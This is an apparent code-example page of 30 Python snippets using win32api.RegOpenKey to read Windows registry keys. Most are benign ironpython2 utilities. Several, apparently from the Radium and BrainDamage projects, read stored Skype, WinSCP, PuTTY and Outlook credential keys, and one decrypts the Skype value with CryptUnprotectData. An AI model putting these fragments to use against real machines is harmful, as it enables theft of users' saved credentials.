Python win32api.RegOpenKey() Examples

The following are 30 code examples of win32api.RegOpenKey(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module win32api , or try the search function .
Example #1
Source File: skype.py    From Radium with Apache License 2.0 7 votes vote down vote up
def get_regkey(self):
        try:
            accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
            keyPath = 'Software\\Skype\\ProtectedStorage'

            try:
                hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
            except Exception, e:
                print e
                return ''

            num = win32api.RegQueryInfoKey(hkey)[1]
            k = win32api.RegEnumValue(hkey, 0)

            if k:
                key = k[1]
                return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] 
Example #2
Source File: skype.py    From BrainDamage with Apache License 2.0 6 votes vote down vote up
def get_regkey(self):
        try:
            accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
            keyPath = 'Software\\Skype\\ProtectedStorage'

            try:
                hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
            except Exception, e:
                # print e
                return ''

            num = win32api.RegQueryInfoKey(hkey)[1]
            k = win32api.RegEnumValue(hkey, 0)

            if k:
                key = k[1]
                return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] 
Example #3
Source File: win32serviceutil.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def __FindSvcDeps(findName):
    if type(findName) is pywintypes.UnicodeType: findName = str(findName)
    dict = {}
    k = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services")
    num = 0
    while 1:
        try:
            svc = win32api.RegEnumKey(k, num)
        except win32api.error:
            break
        num = num + 1
        sk = win32api.RegOpenKey(k, svc)
        try:
            deps, typ = win32api.RegQueryValueEx(sk, "DependOnService")
        except win32api.error:
            deps = ()
        for dep in deps:
            dep = dep.lower()
            dep_on = dict.get(dep, [])
            dep_on.append(svc)
            dict[dep]=dep_on

    return __ResolveDeps(findName, dict) 
Example #4
Source File: toolmenu.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def WriteToolMenuItems( items ):
	# Items is a list of (menu, command)
	# Delete the entire registry tree.
	try:
		mainKey = win32ui.GetAppRegistryKey()
		toolKey = win32api.RegOpenKey(mainKey, "Tools Menu")
	except win32ui.error:
		toolKey = None
	if toolKey is not None:
		while 1:
			try:
				subkey = win32api.RegEnumKey(toolKey, 0)
			except win32api.error:
				break
			win32api.RegDeleteKey(toolKey, subkey)
	# Keys are now removed - write the new ones.
	# But first check if we have the defaults - and if so, dont write anything!
	if items==defaultToolMenuItems:
		return
	itemNo = 1
	for menu, cmd in items:
		win32ui.WriteProfileVal("Tools Menu\\%s" % itemNo, "", menu)
		win32ui.WriteProfileVal("Tools Menu\\%s" % itemNo, "Command", cmd)
		itemNo = itemNo + 1 
Example #5
Source File: regedit.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def UpdateForRegItem(self, item):
		self.DeleteAllItems()
		hkey = win32api.RegOpenKey(item.keyRoot, item.keyName)
		try:
			valNum = 0
			ret = []
			while 1:
				try:
					res = win32api.RegEnumValue(hkey, valNum)
				except win32api.error:
					break
				name = res[0]
				if not name: name = "(Default)"
				self.InsertItem(valNum, name)
				self.SetItemText(valNum, 1, str(res[1]))
				valNum = valNum + 1
		finally:
			win32api.RegCloseKey(hkey) 
Example #6
Source File: browseProjects.py    From ironpython2 with Apache License 2.0 6 votes vote down vote up
def GetSubList(self):
		keyStr = regutil.BuildDefaultPythonKey() + "\\PythonPath"
		hKey = win32api.RegOpenKey(regutil.GetRootKey(), keyStr)
		try:
			ret = []
			ret.append(HLIProjectRoot("", "Standard Python Library")) # The core path.
			index = 0
			while 1:
				try:
					ret.append(HLIProjectRoot(win32api.RegEnumKey(hKey, index)))
					index = index + 1
				except win32api.error:
					break
			return ret
		finally:
			win32api.RegCloseKey(hKey) 
Example #7
Source File: winscp.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def get_logins_info(self):
        accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
        try:
            key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions', 0,
                                      accessRead)
        except Exception, e:
            return False 
Example #8
Source File: putty.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def get_default_database(self):
        accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
        key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager', 0, accessRead)
        thisName = str(win32api.RegQueryValueEx(key, 'DefaultDatabase')[0])
        if thisName:
            return thisName
        else:
            return ' ' 
Example #9
Source File: winscp.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def check_masterPassword(self):
        accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
        key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Configuration\Security',
                                  0, accessRead)
        thisName = str(win32api.RegQueryValueEx(key, 'UseMasterPassword')[0])

        if thisName == '0':
            return False
        else:
            return True 
Example #10
Source File: winscp.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def check_winscp_installed(self):
        accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
        try:
            key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,
                                      'Software\Martin Prikryl\WinSCP 2\Configuration\Security', 0, accessRead)
            return True
        except Exception, e:
            return False 
Example #11
Source File: 文件.py    From Librian with Mozilla Public License 2.0 5 votes vote down vote up
def 查詢文件打開方式(文件名): 
    ext = os.path.splitext(文件名)[-1]
    try:
        key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, ext, 0, win32con.KEY_READ)
    except:
        return None
    q = win32api.RegQueryValue(key, '')
    key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, f'{q}\shell\open\command', 0, win32con.KEY_READ)
    q = win32api.RegQueryValue(key, '')
    return q 
Example #12
Source File: process.py    From peach with Mozilla Public License 2.0 5 votes vote down vote up
def LocateWinDbg(self):
        # NOTE: Update master copy in debugger.py if you change this.
        try:
            hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, "Software\\Microsoft\\DebuggingTools")
            val, _ = win32api.RegQueryValueEx(hkey, "WinDbg")
            return val
        except:
            # Lets try a few common places before failing.
            pgPaths = [
                "c:\\",
                os.environ["SystemDrive"] + "\\",
                os.environ["ProgramFiles"],
            ]
            if "ProgramW6432" in os.environ:
                pgPaths.append(os.environ["ProgramW6432"])
            if "ProgramFiles(x86)" in os.environ:
                pgPaths.append(os.environ["ProgramFiles(x86)"])

            dbgPaths = [
                "Debuggers",
                "Debugger",
                "Debugging Tools for Windows",
                "Debugging Tools for Windows (x64)",
                "Debugging Tools for Windows (x86)",
            ]
            for p in pgPaths:
                for d in dbgPaths:
                    testPath = os.path.join(p, d)
                    if os.path.exists(testPath):
                        return testPath
        print("Unable to locate gflags.exe!") 
Example #13
Source File: recipe-576431.py    From code with MIT License 5 votes vote down vote up
def modifyVariableInRegister( name , value ):
    key = win32api.RegOpenKey( win32con.HKEY_CURRENT_USER,"Environment",0,win32con.KEY_ALL_ACCESS)
    if not key : raise
    win32api.RegSetValueEx( key , name , 0 , win32con.REG_SZ , value )
    win32api.RegCloseKey( key ) 
Example #14
Source File: outlook.py    From BrainDamage with Apache License 2.0 5 votes vote down vote up
def run(self):

        accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
        keyPath = 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook'

        try:
            hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
        except Exception, e:
            return 
Example #15
Source File: Constant.py    From pc-protector-moe with GNU General Public License v3.0 5 votes vote down vote up
def get_desktop():
        key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,
                                  r'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', 0,
                                  win32con.KEY_READ)
        return win32api.RegQueryValueEx(key, 'Desktop')[0] 
Example #16
Source File: testExchange.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def GetDefaultProfileName():
    import win32api, win32con
    try:
        key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles")
        try:
            return win32api.RegQueryValueEx(key, "DefaultProfile")[0]
        finally:
            key.Close()
    except win32api.error:
        return None

#
# Recursive dump of folders.
# 
Example #17
Source File: register.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def recurse_delete_key(path, base=win32con.HKEY_CLASSES_ROOT):
  """Recursively delete registry keys.

  This is needed since you can't blast a key when subkeys exist.
  """
  try:
    h = win32api.RegOpenKey(base, path)
  except win32api.error, (code, fn, msg):
    if code != winerror.ERROR_FILE_NOT_FOUND:
      raise win32api.error(code, fn, msg) 
Example #18
Source File: combrowse.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def GetSubList(self):
        # Explicit lookup in the registry.
        ret = []
        key = win32api.RegOpenKey(win32con.HKEY_CLASSES_ROOT, "TypeLib")
        win32ui.DoWaitCursor(1)
        try:
            num = 0
            while 1:
                try:
                    keyName = win32api.RegEnumKey(key, num)
                except win32api.error:
                    break
                # Enumerate all version info
                subKey = win32api.RegOpenKey(key, keyName)
                name = None
                try:
                    subNum = 0
                    bestVersion = 0.0
                    while 1:
                        try:
                            versionStr = win32api.RegEnumKey(subKey, subNum)
                        except win32api.error:
                            break
                        try:
                            versionFlt = float(versionStr)
                        except ValueError:
                            versionFlt = 0 # ????
                        if versionFlt > bestVersion:
                            bestVersion = versionFlt
                            name = win32api.RegQueryValue(subKey, versionStr)
                        subNum = subNum + 1
                finally:
                    win32api.RegCloseKey(subKey)
                if name is not None:
                    ret.append(HLIRegisteredTypeLibrary((keyName, versionStr), name))
                num = num + 1
        finally:
            win32api.RegCloseKey(key)
            win32ui.DoWaitCursor(0)
        ret.sort()
        return ret 
Example #19
Source File: win32serviceutil.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def LocateSpecificServiceExe(serviceName):
    # Given the name of a specific service, return the .EXE name _it_ uses
    # (which may or may not be the Python Service EXE
    hkey = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\%s" % (serviceName), 0, win32con.KEY_ALL_ACCESS)
    try:
        return win32api.RegQueryValueEx(hkey, "ImagePath")[0]
    finally:
        hkey.Close() 
Example #20
Source File: app.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def _GetRegistryValue(key, val, default = None):
	# val is registry value - None for default val.
	try:
		hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, key)
		return win32api.RegQueryValueEx(hkey, val)[0]
	except win32api.error:
		try:
			hkey = win32api.RegOpenKey(win32con.HKEY_LOCAL_MACHINE, key)
			return win32api.RegQueryValueEx(hkey, val)[0]
		except win32api.error:
			return default 
Example #21
Source File: winscp.py    From Radium with Apache License 2.0 5 votes vote down vote up
def check_masterPassword(self):
        accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
        key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Configuration\Security',
                                  0, accessRead)
        thisName = str(win32api.RegQueryValueEx(key, 'UseMasterPassword')[0])

        if thisName == '0':
            return False
        else:
            return True 
Example #22
Source File: winscp.py    From Radium with Apache License 2.0 5 votes vote down vote up
def get_logins_info(self):
        accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
        try:
            key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\Martin Prikryl\WinSCP 2\Sessions', 0,
                                      accessRead)
        except Exception, e:
            return False 
Example #23
Source File: putty.py    From Radium with Apache License 2.0 5 votes vote down vote up
def get_default_database(self):
        accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
        key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager', 0, accessRead)
        thisName = str(win32api.RegQueryValueEx(key, 'DefaultDatabase')[0])
        if thisName:
            return thisName
        else:
            return ' ' 
Example #24
Source File: outlook.py    From Radium with Apache License 2.0 5 votes vote down vote up
def run(self):

        accessRead = win32con.KEY_READ | win32con.KEY_ENUMERATE_SUB_KEYS | win32con.KEY_QUERY_VALUE
        keyPath = 'Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook'

        try:
            hkey = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER, keyPath, 0, accessRead)
        except Exception, e:
            return 
Example #25
Source File: regedit.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def GetItemsCurrentValue(self, item, valueName):
		hkey = win32api.RegOpenKey(item.keyRoot, item.keyName)
		try:
			val, type = win32api.RegQueryValueEx(hkey, valueName)
			if type != win32con.REG_SZ:
				raise TypeError("Only strings can be edited")
			return val
		finally:
			win32api.RegCloseKey(hkey) 
Example #26
Source File: regedit.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def SetItemsCurrentValue(self, item, valueName, value):
		# ** Assumes already checked is a string.
		hkey = win32api.RegOpenKey(item.keyRoot, item.keyName , 0, win32con.KEY_SET_VALUE)
		try:
			win32api.RegSetValueEx(hkey, valueName, 0, win32con.REG_SZ, value)
		finally:
			win32api.RegCloseKey(hkey) 
Example #27
Source File: regedit.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def IsExpandable(self):
		# All keys are expandable, even if they currently have zero children.
		return 1
##		hkey = win32api.RegOpenKey(self.keyRoot, self.keyName)
##		try:
##			keys, vals, dt = win32api.RegQueryInfoKey(hkey)
##			return (keys>0)
##		finally:
##			win32api.RegCloseKey(hkey) 
Example #28
Source File: help.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def _ListAllHelpFilesInRoot(root):
	"""Returns a list of (helpDesc, helpFname) for all registered help files
	"""
	import regutil
	retList = []
	try:
		key = win32api.RegOpenKey(root, regutil.BuildDefaultPythonKey() + "\\Help", 0, win32con.KEY_READ)
	except win32api.error, exc:
		import winerror
		if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND:
			raise
		return retList 
Example #29
Source File: regcheck.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def CheckHelpFiles(verbose):
	if verbose: print "Help Files:"
	try:
		key = win32api.RegOpenKey(regutil.GetRootKey(), regutil.BuildDefaultPythonKey() + "\\Help", 0, win32con.KEY_READ)
	except win32api.error, exc:
		import winerror
		if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND:
			raise
		return 
Example #30
Source File: regcheck.py    From ironpython2 with Apache License 2.0 5 votes vote down vote up
def CheckRegisteredModules(verbose):
	# Check out all registered modules.
	k=regutil.BuildDefaultPythonKey() + "\\Modules"
	try:
		keyhandle = win32api.RegOpenKey(regutil.GetRootKey(), k)
		print "WARNING: 'Modules' registry entry is deprectated and evil!"
	except win32api.error, exc:
		import winerror
		if exc.winerror!=winerror.ERROR_FILE_NOT_FOUND:
			raise
		return